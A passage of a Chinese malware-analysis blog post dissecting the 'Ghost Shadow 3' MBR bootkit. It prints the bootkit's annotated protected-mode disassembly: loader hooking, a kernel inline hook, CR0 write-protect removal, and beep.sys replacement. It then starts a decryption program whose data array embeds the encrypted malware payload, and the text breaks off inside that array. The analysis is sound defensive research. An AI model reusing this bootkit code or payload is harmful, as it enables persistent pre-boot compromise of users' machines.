今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T
好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来只是时间问题.但是MBR和之后的保护模式的代码就不一样啦同学们,纯静态分析,伤不起啊,各种硬编码,自修改!T__T
今天给出3份东西,包括1,详细注解;2,一个对磁盘病毒加密内容进行解密的程序代码(参考上一篇的磁盘布局);3,一个通过保护模式里面提供的函数名hash值获取函数名的程序代码.
我稍微说一下鬼影3是如何通过修改MBR进而在系统启动之前获取到控制权,加载自己的Hello_tt.sys的.具体的代码和注释可以参考我前面两篇文章,有爱请猛击吧亲:
这篇是对于鬼影3感染系统的mb.exe和hello_tt.sys的反汇编代码还原为C代码,包含大量注释(虽然不能编译)http://blog.csdn.net/gaa_ra/article/details/6589324
这篇是对于鬼影3修改的MBR进行详细的分析注释,包括了HOOK INT 13h部分和HOOK OsLoader.exe部分的说明http://blog.csdn.net/gaa_ra/article/details/6593860
过程大概如下:
1.首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行.
2.通过int 13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr
3.接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了
4.对int 13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令
5.由于hook了int 13h中断,对于2h和42h子功能进行过滤,但系统加载ntldr文件的时候,对OsLoader.exe进行hook,科普一下,ntldr = Startup.com(16位) + OsLoader.exe(PE文件,32位)
6.通过查找指定序列签名Hook OsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权
7.当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,这部分代码的详细注解后面给出,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图1
图1,红框圈起来是搜索代码的表示,最终获取的是415921 A1后的4个字节,即_BlLoaderBlock地址
8.获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行Inline Hook,修改函数头部5字节,之后返回OsLoader.exe继续执行
9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行.
10.病毒对IoGetCurrentProcess的Inline Hook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了
上面说的过程只是大概,具体可以参考详细的反汇编代码,有详细的注释^_^
下面是保护模式部分的反汇编代码
/*++
@file VirusProtectMode.asm
@auth GaA.Ra
@date 2011.7.9
--*/
/*
seg000:00000000 ;
seg000:00000000 ; +-------------------------------------------------------------------------+
seg000:00000000 ; | This file has been generated by The Interactive Disassembler (IDA) |
seg000:00000000 ; | Copyright (c) 2011 Hex-Rays, <support@hex-rays.com> |
seg000:00000000 ; | License info: B3-432E-F558-21 |
seg000:00000000 ; | Ilfak Guilfanov |
seg000:00000000 ; +-------------------------------------------------------------------------+
seg000:00000000 ;
seg000:00000000 ; Input MD5 : 737381F9C678B050E5399CB283B0E6F9
seg000:00000000 ; Input CRC32 : D3822E1D
seg000:00000000
seg000:00000000 ; File Name : D:\SourceLib\MyCode\TestProj\ReverseEng\鬼影3样本\VirusMbr_Next.bin
seg000:00000000 ; Format : Binary file
seg000:00000000 ; Base Address: 0000h Range: 0000h - 02D5h Loaded length: 02D5h
seg000:00000000
seg000:00000000 include uni.inc ; see unicode subdir of ida for info on unicode
seg000:00000000
seg000:00000000 .686p
seg000:00000000 .mmx
seg000:00000000 .model flat
seg000:00000000
seg000:00000000 ; ===========================================================================
seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000 segment byte public 'CODE' use32
seg000:00000000 assume cs:seg000
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000 dd 9C204h ; ntldr hook call address
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004 pushf
seg000:00000005 pusha
seg000:00000006 mov edi, [esp+24h] ; [ESP+24h]为EIP,指向OsLoader
seg000:00000006 ; 存到EDI调整后供搜索使用
seg000:0000000A and edi, 0FFF00000h ; 将EDI调整为镜像基址
seg000:00000010 cld
seg000:00000011 mov al, 0C7h ; ' ; 搜索标志40003446h的前一个字节,可以参考图片
seg000:00000013
seg000:00000013 @ModuleList_SigLoop: ; CODE XREF: seg000:00000014↓j
seg000:00000013 ; seg000:0000001C↓j
seg000:00000013 scasb ; 将edi与al进行比较,每次执行后edi+1
seg000:00000014 jnz short @ModuleList_SigLoop
seg000:00000016 cmp dword ptr [edi], 40003446h ; 搜索标志,具体代码可以参考图片
seg000:0000001C jnz short @ModuleList_SigLoop
seg000:0000001E mov al, 0A1h ; ' ; 下一句代码是把_BlLoaderBlock写入EAX
seg000:0000001E ; 搜索这句代码机器码的第一个字节,之后
seg000:0000001E ; 的便是_BlLoaderBlock地址
seg000:0000001E ; A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
seg000:00000020
seg000:00000020 @ModuleList_BaseAddrLoop: ; CODE XREF: seg000:00000021↓j
seg000:00000020 scasb
seg000:00000021 jnz short @ModuleList_BaseAddrLoop
seg000:00000023 mov esi, [edi] ; ESI <- LIST_ENTRY
seg000:00000023 ; struct _BlLoaderBlock
seg000:00000023 ; {
seg000:00000023 ; +00h LIST_ENTRY module list links
seg000:00000023 ; +08h [10h] ???
seg000:00000023 ; +18h PTR image base address
seg000:00000023 ; +1Ch PTR module entry point
seg000:00000023 ; +20h DWORD size of loaded module in memory
seg000:00000023 ; +24h UNICODE_STRING full module path and file name
seg000:00000023 ; +2Ch UNICODE_STRING module file name
seg000:00000023 ; };
seg000:00000025 mov esi, [esi] ; ESI <- 链表上第一个节点,应该是头节点List_Head
seg000:00000027 lodsd ; 获取第二个节点,存入EAX(第一个有效的节点)
seg000:00000028 mov ebx, [eax+18h] ; EBX <- Image Base Address
seg000:0000002B call OverHookFunc ; 调用OverHookFunc之后会直接返回
seg000:0000002B ; OsLoader.exe的执行流程当中
seg000:00000030 sub dword ptr [esp], 5 ; @IoGetCurrentProcessHook起始地址
seg000:00000030 ; 这部分代码将会被写入Ntoskrnl.exe
seg000:00000030 ; 内存镜像当中,代码长度0x37
seg000:00000037 pusha ;
seg000:00000037 ; 下面部分的代码完成的功能主要是
seg000:00000037 ; 修改固定页表的第一页地址,改成Mbr
seg000:00000037 ; 之前申请的内存空间,Mbr当中已经
seg000:00000037 ; 考虑了4KB对齐问题,之后把代码复制
seg000:00000037 ; 300h直接到用户共享数据区地址是
seg000:00000037 ; FFDF0800h,之后返回到FFDF08AF继续
seg000:00000037 ; 执行
seg000:00000038 mov eax, 9C001h ; 我们的代码当前所在物理内存位置是9C001开始
seg000:0000003D xor ecx, ecx
seg000:0000003F mov ch, 3 ; cx = 300h, 代码长度300h
seg000:00000041 mov edx, 0C0000000h ; 固定页表的第一个表项
seg000:00000046 mov esi, 200h ; Mbr当中已经做过4KB对齐,
seg000:00000046 ; 现在代码地址在9C200
seg000:0000004B mov edi, 0FFDF0800h ; 内核当中共享用户数据区地址
seg000:00000050 xchg eax, [edx] ; 修改第一个页表地址到9C001
seg000:00000052 wbinvd ; 特权指令,使CACHE失效,目的应该是把
seg000:00000052 ; 数据写到内存里,避免在CPU的缓存当中
seg000:00000054 rep movsb ; 拷贝数据过去FFDF0800h
seg000:00000056 mov [edx], eax ; 恢复固定页表的第一个表项
seg000:00000058 wbinvd
seg000:0000005A push 0 ; 这句代码已经在Hook函数当中做过修改
seg000:0000005C push 0 ; 这句代码已经在Hook函数当中做过修改
seg000:00000061 push 0FFDF08AFh ; 返回到FFDF08AFh继续执行病毒代码
seg000:00000066 retn
seg000:00000067
seg000:00000067 ; =============== S U B R O U T I N E =======================================
seg000:00000067
seg000:00000067
seg000:00000067 OverHookFunc proc near ; CODE XREF: seg000:0000002B↑p
seg000:00000067
seg000:00000067 arg_24 = dword ptr 28h
seg000:00000067
seg000:00000067 pop esi ; call过来的,堆栈上是函数返回地址
seg000:00000067 ; 也就是ESI为@IoGetCurrentProcessHook的起始地址
seg000:00000068 mov ecx, 37h ; '7' ; @IoGetCurrentProcessHook函数的代码长度,这里是硬编码37h
seg000:0000006D mov [esi+204h], ebx ; EBX: Image Base Address
seg000:0000006D ; 把EBX写入@IoGetCurrentProcessHook+204h
seg000:0000006D ; 234h处,修改代码写入镜像基址,如图2
seg000:00000073 lea edi, [ebx+40h] ; EDI <- Image Base Address + 40h
seg000:00000076 mov ebp, edi ; 保存@IoGetCurrentProcessHook地址后面使用
seg000:00000078 rep movsb ; 把@IoGetCurrentProcessHook的代
seg000:00000078 ; 码写入ImageBaseAddress+40h处
seg000:0000007A push 0CE8C3177h ; Hash:IoGetCurrentProcess
seg000:0000007A ; 要查找的函数名32位HASH值
seg000:0000007F call @GetExport
seg000:00000084 xchg eax, esi
seg000:00000085 sub edi, 0Ah
seg000:0000008B movsd
seg000:0000008C sub edi, 6
seg000:00000092 movsb ; 上面的代码修改@IoGetCurrentProcessHook代码
seg000:00000092 ; 使能够正确的返回到系统的IoGetCurrentProcess
seg000:00000093 mov byte ptr [esi-5], 0E8h ; '
seg000:00000097 sub ebp, esi
seg000:00000099 mov [esi-4], ebp ; 上面的代码主要完成的功能是
seg000:00000099 ; Inline Hook IoGetCurrentProcess
seg000:00000099 ; 修改头5个字节为EB XXXXXXXX(ebp内容)
seg000:00000099 ; 即CALL EBP,而EBP里面保存的是
seg000:00000099 ; @IoGetCurrentProcessHook地址
seg000:0000009C popa
seg000:0000009D popf
seg000:0000009E mov esi, eax ; OsLoader.exe 覆盖的代码
seg000:000000A0 test eax, eax ; OsLoader.exe 覆盖的代码
seg000:000000A2 jnz short @PatchFunction_done_nojz ; 返回到OsLoader.exe当中执行,当系统
seg000:000000A2 ; 调用IoGetCurrentProcess()时候鬼影
seg000:000000A2 ; 3会继续获得系统的控制权
seg000:000000A4 pushf
seg000:000000A5 add [esp-24h+arg_24], 21h ; '!' ;
seg000:000000A5 ; 这里是返回到OsLoader.exe当中
seg000:000000A5 ; 由于修改了OsLoader.exe如下
seg000:000000A5 ; .text:00422A6F mov esi, eax
seg000:000000A5 ; .text:00422A71 test esi, esi
seg000:000000A5 ; .text:00422A73 jz short loc_422A96
seg000:000000A5 ; .text:00422A75
seg000:000000A5 ; 进行恢复之后,如果要跳转到422A96
seg000:000000A5 ; 那么就修改栈上的返回地址(422A75)
seg000:000000A5 ; 加上21h,变为422A96
seg000:000000AD popf
seg000:000000AE
seg000:000000AE @PatchFunction_done_nojz: ; CODE XREF: OverHookFunc+3B↑j
seg000:000000AE retn ; 返回到OsLoader.exe当中执行,当系统
seg000:000000AE OverHookFunc endp ; sp-analysis failed ; 调用IoGetCurrentProcess()时候鬼影
seg000:000000AE ; 3会继续获得系统的控制权
seg000:000000AF ; ---------------------------------------------------------------------------
seg000:000000AF mov ebp, esp
seg000:000000B1 mov edi, [ebp+28h] ; 这句是没必要的,病毒作者抄的RootBoot代码
seg000:000000B4 mov ecx, cr0
seg000:000000B7 mov edx, ecx
seg000:000000B9 and ecx, 0FFFEFFFFh ; 去除内存页的写保护,通过CR0的第17位设置
seg000:000000BF mov cr0, ecx
seg000:000000C2 pop eax ; 返回过来的时候总共往栈中压入
seg000:000000C2 ; 5个字节,这5个字节就是IoGetCurrentProcess
seg000:000000C2 ; 函数前5个字节,这里进行恢复工作
seg000:000000C3 stosd ; 恢复工作
seg000:000000C4 pop eax ; 恢复工作
seg000:000000C5 stosb ; 恢复工作
seg000:000000C6 mov cr0, edx ; 恢复内存页的写保护
seg000:000000C9 jb short loc_CE
seg000:000000CB jnb short loc_CE
seg000:000000CB ; ---------------------------------------------------------------------------
seg000:000000CD db 20h
seg000:000000CE ; ---------------------------------------------------------------------------
seg000:000000CE
seg000:000000CE loc_CE: ; CODE XREF: seg000:000000C9↑j
seg000:000000CE ; seg000:000000CB↑j
seg000:000000CE enter 4, 0
seg000:000000D2 push 136E47C7h ; Hash:PsCreateSystemThread
seg000:000000D7 call @GetExport ; 获取PsCreateSystemThread地址
seg000:000000DC lea ebx, [ebp-4]
seg000:000000DF push 0
seg000:000000E4 push 0FFDF0903h
seg000:000000E9 push 0
seg000:000000EE push 0
seg000:000000F3 push 0
seg000:000000F8 push 0
seg000:000000FD push ebx
seg000:000000FE call eax ; 调用PsCreateSystemThread()
seg000:000000FE ; 创建了一个新的系统线程,这个
seg000:000000FE ; 线程的代码地址是FFDF0903h
seg000:000000FE ; 暂时称为@StartRoutine
seg000:00000100 leave
seg000:00000101 popa
seg000:00000102 retn
seg000:00000103 ; ---------------------------------------------------------------------------
seg000:00000103 pusha ; @StartRoutine函数
seg000:00000103 ; 这个函数就是病毒花这么大的力气
seg000:00000103 ; 得到控制权想要完成的事情,在系统
seg000:00000103 ; 加载之前把自己的Hello_tt.sys替
seg000:00000103 ; 换系统的Beep.sys,由于系统正常需
seg000:00000103 ; 要加载Beep.sys,所以病毒这样就获
seg000:00000103 ; 取在操作系统当中执行的机会了,之前
seg000:00000103 ; 我们分析过,Hello_tt.sys会写入
seg000:00000103 ; c:\alg.exe和他的启动项,这样,系统
seg000:00000103 ; 启动之后首先加载病毒的sys,然后病毒
seg000:00000103 ; 写入alg.exe,注册表项,之后操作系统
seg000:00000103 ; 再根据注册表启动项执行alg.exe
seg000:00000103 ; GAME OVER~~
seg000:00000104 enter 40h, 0
seg000:00000108
seg000:00000108 ZwCreateFile_Loop: ; CODE XREF: seg000:000001AD↓j
seg000:00000108 ; seg000:000001D5↓j
seg000:00000108 mov dword ptr [ebp-8], 0FFFFFFFFh
seg000:0000010F mov dword ptr [ebp-0Ch], 0FECED300h
seg000:00000116 push 0CC06CD48h ; Hash:KeDelayExecutionThread
seg000:0000011B call @GetExport
seg000:00000120 lea ebx, [ebp-0Ch]
seg000:00000123 push ebx
seg000:00000124 push 0
seg000:00000129 push 0
seg000:0000012E call eax ; 调用KeDelayExecutionThread()
seg000:00000130 lea ecx, [ebp-18h]
seg000:00000133 mov dword ptr [ecx], 18h
seg000:00000139 and dword ptr [ecx+4], 0
seg000:00000140 mov dword ptr [ecx+0Ch], 40h ; '@'
seg000:00000147 and dword ptr [ecx+10h], 0
seg000:0000014E and dword ptr [ecx+14h], 0
seg000:00000155 mov eax, 0FFDF0A85h
seg000:0000015A mov dword ptr [eax+0], 0FFDF0A89h
seg000:00000164 mov dword ptr [ecx+8], 0FFDF0A81h
seg000:0000016E push 25298A1Dh ; Hash:ZwCreateFile
seg000:00000173 call @GetExport
seg000:00000178 lea ebx, [ebp-24h]
seg000:0000017B lea edx, [ebp-20h]
seg000:0000017E push 0
seg000:00000183 push 0
seg000:00000188 push 20h ; ' '
seg000:0000018D push 5
seg000:00000192 push 0
seg000:00000197 push 80h ; '€'
seg000:0000019C push 0
seg000:000001A1 push edx
seg000:000001A2 push ecx
seg000:000001A3 push 40000000h
seg000:000001A8 push ebx
seg000:000001A9 call eax ; 调用ZwCreateFile打开Beep.sys文件
seg000:000001A9 ; 之后把病毒的Hello_tt.sys数据写入
seg000:000001A9 ; 替换系统的正常文件
seg000:000001AB or eax, eax
seg000:000001AD jnz ZwCreateFile_Loop ; 打开文件直到成功
seg000:000001B3 push 0
seg000:000001B8 push 2800h
seg000:000001BD push 0
seg000:000001C2 push 9C000h
seg000:000001C7 push 0FCE7EE0Ch ; Hash:MmMapIoSpace
seg000:000001CC call @GetExport
seg000:000001D1 call eax
seg000:000001D3 or eax, eax
seg000:000001D5 jz ZwCreateFile_Loop
seg000:000001DB mov ebx, eax
seg000:000001DD add ebx, 4D5h
seg000:000001E3 lea ecx, [ebp-20h]
seg000:000001E6 push 7E3ACF7h ; Hash:ZwWriteFile
seg000:000001EB call @GetExport
seg000:000001F0 push 0
seg000:000001F5 push 0
seg000:000001FA push 1A00h
seg000:000001FF push ebx
seg000:00000200 push ecx
seg000:00000201 push 0
seg000:00000206 push 0
seg000:0000020B push 0
seg000:00000210 push dword ptr [ebp-24h]
seg000:00000213 call eax
seg000:00000215 push 0FD929378h ; Hash:ZwClose
seg000:0000021A call @GetExport
seg000:0000021F push dword ptr [ebp-24h]
seg000:00000222 call eax
seg000:00000224 leave
seg000:00000225 popa
seg000:00000226 retn 4
seg000:00000229
seg000:00000229 ; =============== S U B R O U T I N E =======================================
seg000:00000229
seg000:00000229 ; Attributes: bp-based frame
seg000:00000229
seg000:00000229 @GetExport proc near ; CODE XREF: OverHookFunc+18↑p
seg000:00000229 ; seg000:000000D7↑p ...
seg000:00000229
seg000:00000229 var_4 = dword ptr -4
seg000:00000229 FunctionNameHash= dword ptr 8
seg000:00000229 NumberOfNames = dword ptr 18h
seg000:00000229 AddressOfFunctions= dword ptr 1Ch
seg000:00000229 AddressOfNames = dword ptr 20h
seg000:00000229 AddressOfNameOrdinals= dword ptr 24h
seg000:00000229
seg000:00000229 enter 0, 0
seg000:0000022D xor eax, eax
seg000:0000022F pusha
seg000:00000230 mov edx, [ebp+FunctionNameHash] ; EDX <- FunctionNameHash
seg000:00000233 mov ebx, 0 ; 注意这里已经通过上面的修改写成
seg000:00000233 ; ImageBaseAddress了,参考图片
seg000:00000238 mov ecx, [ebx+3Ch] ; PE头部偏移
seg000:0000023B mov ebp, [ebx+ecx+78h] ; 输出表RVA
seg000:0000023F add ebp, ebx ; 输出表指针
seg000:00000241 mov ecx, [ebp+NumberOfNames] ; NumberOfNames
seg000:00000244 mov edi, [ebp+AddressOfNames] ; AddressOfNames
seg000:00000247 add edi, ebx
seg000:00000249 jecxz short @GetExport_done
seg000:0000024B
seg000:0000024B @GetExport_NameLoop: ; CODE XREF: @GetExport+35↓j
seg000:0000024B mov esi, [edi] ; 逐个处理函数名
seg000:0000024D add esi, ebx
seg000:0000024F scasd ; EDI + 4, 下一个函数名的RVA
seg000:00000250 push edx
seg000:00000251
seg000:00000251 @GetExport_NameHashLoop: ; CODE XREF: @GetExport+30↓j
seg000:00000251 lodsb ; FunctionNameHash += _ROL_(FunctionName.Reverse(), 7)
seg000:00000252 sub edx, eax
seg000:00000254 ror edx, 7
seg000:00000257 test eax, eax
seg000:00000259 jnz short @GetExport_NameHashLoop
seg000:0000025B test edx, edx
seg000:0000025D pop edx
seg000:0000025E loopne @GetExport_NameLoop ; 逐个处理函数名
seg000:00000260 jnz short @GetExport_done ; 若找不到跳转
seg000:00000262 not ecx
seg000:00000264 mov edx, [ebp+AddressOfNameOrdinals]
seg000:00000267 add ecx, [ebp+NumberOfNames]
seg000:0000026A add edx, ebx
seg000:0000026C mov ax, [edx+ecx*2]
seg000:00000270 mov ecx, [ebp+AddressOfFunctions]
seg000:00000273 add ecx, ebx
seg000:00000275 add ebx, [ecx+eax*4]
seg000:00000278 mov [esp+20h+var_4], ebx ; ESP+1Ch = EAX重写栈中
seg000:00000278 ; EAX内容之后POPA恢复,上面代码就
seg000:00000278 ; 是把找到的函数地址写入EAX返回
seg000:0000027C
seg000:0000027C @GetExport_done: ; CODE XREF: @GetExport+20↑j
seg000:0000027C ; @GetExport+37↑j
seg000:0000027C popa
seg000:0000027D leave
seg000:0000027E retn 4
seg000:0000027E @GetExport endp
seg000:0000027E
seg000:0000027E ; ---------------------------------------------------------------------------
seg000:00000281 db 4Ah ; J
seg000:00000282 db 0
seg000:00000283 db 4Ch ; L
seg000:00000284 db 0
seg000:00000285 db 0
seg000:00000286 db 0
seg000:00000287 db 0
seg000:00000288 db 0
seg000:00000289 aSystemrootSyst:
seg000:00000289 unicode 0, <\SystemRoot\system32\drivers\beep.sys>,0
seg000:00000289 seg000 ends
seg000:00000289
seg000:00000289
seg000:00000289 end
*/
图2,自修改代码的地方,红色框框
下面是福利,附加的两个程序,用来看解密的数据和通过Hash获取ntoskrnl.exe哪些函数
/*++
@file DecodeVirusContent.cpp
@auth GaA.Ra
@date 2011.7.8
--*/
#include <stdio.h>
#include <windows.h>
//
//参考上一篇文章,data[9232]是ProtectMode Code + Hello_tt.sys +OriMbr加密数据
//这里写个程序把内容解密了写到VirusContentDecode.bin里面
//
unsigned char data[9232] = {
0x00, 0x00, 0x00, 0x00, 0xE4, 0x03, 0x5C, 0xE3, 0x21, 0x21, 0x0C, 0x3F, 0x00, 0x00, 0x87, 0xFF,
0xE7, 0x85, 0x3E, 0x75, 0xAB, 0xEF, 0x0C, 0xF9, 0x32, 0xA1, 0x00, 0x02, 0xAB, 0xAF, 0x85, 0x0D,
0x75, 0xAB, 0xEF, 0x5C, 0xB9, 0x5C, 0xB1, 0x6D, 0x5C, 0xC2, 0xC0, 0x47, 0xB9, 0x00, 0x00, 0x00,
0x0C, 0x61, 0x21, 0x28, 0x00, 0x00, 0x00, 0x03, 0xC5, 0x08, 0x00, 0x00, 0x00, 0x89, 0x4E, 0xAD,
0x18, 0xD5, 0x00, 0x00, 0x00, 0x06, 0xF5, 0x00, 0x10, 0x00, 0x00, 0xFD, 0x00, 0x40, 0xFE, 0xFF,
0x3C, 0x10, 0x78, 0x48, 0x9F, 0x25, 0x4C, 0x10, 0x78, 0x48, 0x53, 0x00, 0x43, 0x00, 0x00, 0x00,
0x00, 0x43, 0x7D, 0x40, 0xFE, 0xFF, 0x1E, 0xF2, 0xCD, 0xB9, 0x00, 0x00, 0x00, 0x4C, 0xF4, 0x20,
0x10, 0x00, 0x00, 0x6C, 0xDB, 0x02, 0x4C, 0xEF, 0x9F, 0x25, 0x43, 0xBB, 0x89, 0x64, 0x76, 0x47,
0x2D, 0x08, 0x00, 0x00, 0xB4, 0x0C, 0x7F, 0x50, 0x00, 0x00, 0x00, 0x2D, 0x0C, 0x7F, 0x30, 0x00,
0x00, 0x00, 0x25, 0x36, 0x32, 0xDF, 0x47, 0x49, 0xAF, 0x4C, 0x73, 0xE7, 0x0B, 0xEC, 0x4C, 0x36,
0x2C, 0x06, 0xAB, 0x50, 0xE4, 0x0C, 0x22, 0x21, 0x20, 0x09, 0x00, 0x00, 0x00, 0xEC, 0x1E, 0x4C,
0x2F, 0x5C, 0xEB, 0x41, 0x78, 0x01, 0x0E, 0x4C, 0x56, 0x0C, 0x0F, 0xFF, 0xFF, 0xF7, 0xFF, 0x78,
0x11, 0x0E, 0xC2, 0x5D, 0xC2, 0x55, 0x78, 0x11, 0x16, 0x93, 0x18, 0x9B, 0x08, 0x01, 0x46, 0x20,
0x00, 0x00, 0x43, 0x3E, 0x3A, 0x73, 0x98, 0x47, 0x6A, 0x08, 0x00, 0x00, 0x6C, 0xEA, 0xE7, 0x43,
0x00, 0x00, 0x00, 0x00, 0x43, 0x18, 0x48, 0xFE, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00,
0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0x86,
0x4E, 0x0B, 0x1E, 0x03, 0x46, 0x02, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E,
0x2A, 0xA7, 0x00, 0x9E, 0x76, 0xF7, 0x43, 0x42, 0x6E, 0x30, 0x66, 0x47, 0x48, 0x08, 0x00, 0x00,
0x6C, 0xEA, 0xA7, 0x9A, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x86,
0x6C, 0x6A, 0x47, 0x3E, 0x08, 0xC0, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0x20, 0x00, 0x00, 0x00, 0x00,
0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x0B,
0xA0, 0x00, 0x00, 0x00, 0x00, 0xC5, 0x2C, 0x50, 0xFE, 0xFF, 0x3E, 0x04, 0x00, 0x00, 0x00, 0x00,
0x4C, 0x50, 0xFE, 0xFF, 0x3E, 0x0C, 0x40, 0x00, 0x00, 0x00, 0x0C, 0x50, 0xFE, 0xFF, 0x43, 0xE8,
0x54, 0x49, 0x29, 0x47, 0x8D, 0x00, 0x00, 0x00, 0x6C, 0xEA, 0xE6, 0x6C, 0xAA, 0x07, 0x43, 0x00,
0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x01, 0x00, 0x00, 0x00, 0x43, 0x28, 0x00,
0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00,
0x00, 0x92, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x02, 0x9A, 0xFF, 0x86, 0x48, 0x06, 0x78, 0x2C, 0xAA,
0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x41, 0x00, 0x00, 0x43, 0x00, 0x00,
0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x60, 0x77, 0x3F, 0xE7, 0x47, 0xC2, 0x00, 0x00,
0x00, 0xFF, 0x86, 0x48, 0x06, 0x78, 0x24, 0x69, 0xFF, 0xFF, 0xFF, 0x4C, 0x1E, 0x0C, 0x1E, 0xAE,
0x20, 0x00, 0x00, 0x6C, 0x6A, 0x07, 0x43, 0xBF, 0x65, 0x1F, 0x38, 0x47, 0xC9, 0x00, 0x00, 0x00,
0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0xD0, 0x00, 0x00, 0x9A,
0x8A, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xAB, 0xE6, 0xFF, 0x86, 0x43, 0xC3, 0x9C, 0x94, 0xEF, 0x47, 0x50, 0x00, 0x00, 0x00, 0xFF,
0xAB, 0xE6, 0xFF, 0x86, 0x4E, 0x0B, 0x16, 0x20, 0x00, 0x46, 0x00, 0x00, 0x00, 0x89, 0x06, 0x03,
0x5C, 0xAA, 0x40, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x5A, 0xE1, 0x5C, 0x63, 0x58, 0xC3, 0x08,
0xEE, 0x5C, 0x6A, 0xC0, 0x5C, 0xEB, 0x01, 0x08, 0xFE, 0x1F, 0x89, 0x5C, 0xB9, 0x08, 0xF6, 0x7D,
0x92, 0x65, 0x49, 0x16, 0x0E, 0x56, 0x38, 0x2C, 0x06, 0xAB, 0xB7, 0x2C, 0x96, 0xD2, 0x07, 0x5F,
0xAB, 0xD0, 0xBF, 0x8E, 0x5C, 0xAA, 0x21, 0x18, 0x6A, 0xC0, 0x08, 0xD6, 0x33, 0x5C, 0x20, 0x52,
0x5C, 0x6A, 0xE0, 0x08, 0xCE, 0x18, 0xE0, 0x0C, 0x4C, 0xE2, 0x21, 0xE0, 0x0B, 0x4E, 0x16, 0x20,
0x00, 0x52, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0xCB, 0x00, 0x9B,
0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x92, 0x00, 0x7B, 0x00, 0x7B, 0x00, 0xA3, 0x00, 0xE2,
0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x99, 0x00, 0x91,
0x00, 0xE2, 0x00, 0x23, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B,
0x00, 0xE2, 0x00, 0x13, 0x00, 0x2B, 0x00, 0x2B, 0x00, 0x83, 0x00, 0x71, 0x00, 0x9B, 0x00, 0xCB,
0x00, 0x9B, 0x00, 0x00, 0x00, 0x6A, 0xD2, 0x84, 0x00, 0x18, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0x00, 0x00, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x46, 0x00, 0x00, 0x00, 0x70, 0xF8, 0xD5, 0x70, 0x00, 0xA5, 0x48, 0x6E, 0x09, 0xC5, 0x08,
0x62, 0x6E, 0x09, 0xA2, 0x43, 0x4B, 0x9B, 0x01, 0x83, 0x93, 0x7B, 0x3B, 0x93, 0x0B, 0x6B, 0x01,
0x1B, 0x0B, 0x73, 0x73, 0x7B, 0xA3, 0x01, 0x13, 0x2B, 0x01, 0x93, 0xAB, 0x73, 0x01, 0x4B, 0x73,
0x01, 0x22, 0x7A, 0x9A, 0x01, 0x6B, 0x7B, 0x23, 0x2B, 0x71, 0x68, 0x68, 0x50, 0x21, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0x6D, 0xAB, 0x1E, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD8,
0x84, 0xFC, 0x66, 0xD8, 0x84, 0xFC, 0x66, 0xD0, 0x84, 0x24, 0x66, 0xD8, 0x84, 0xB4, 0xA5, 0x44,
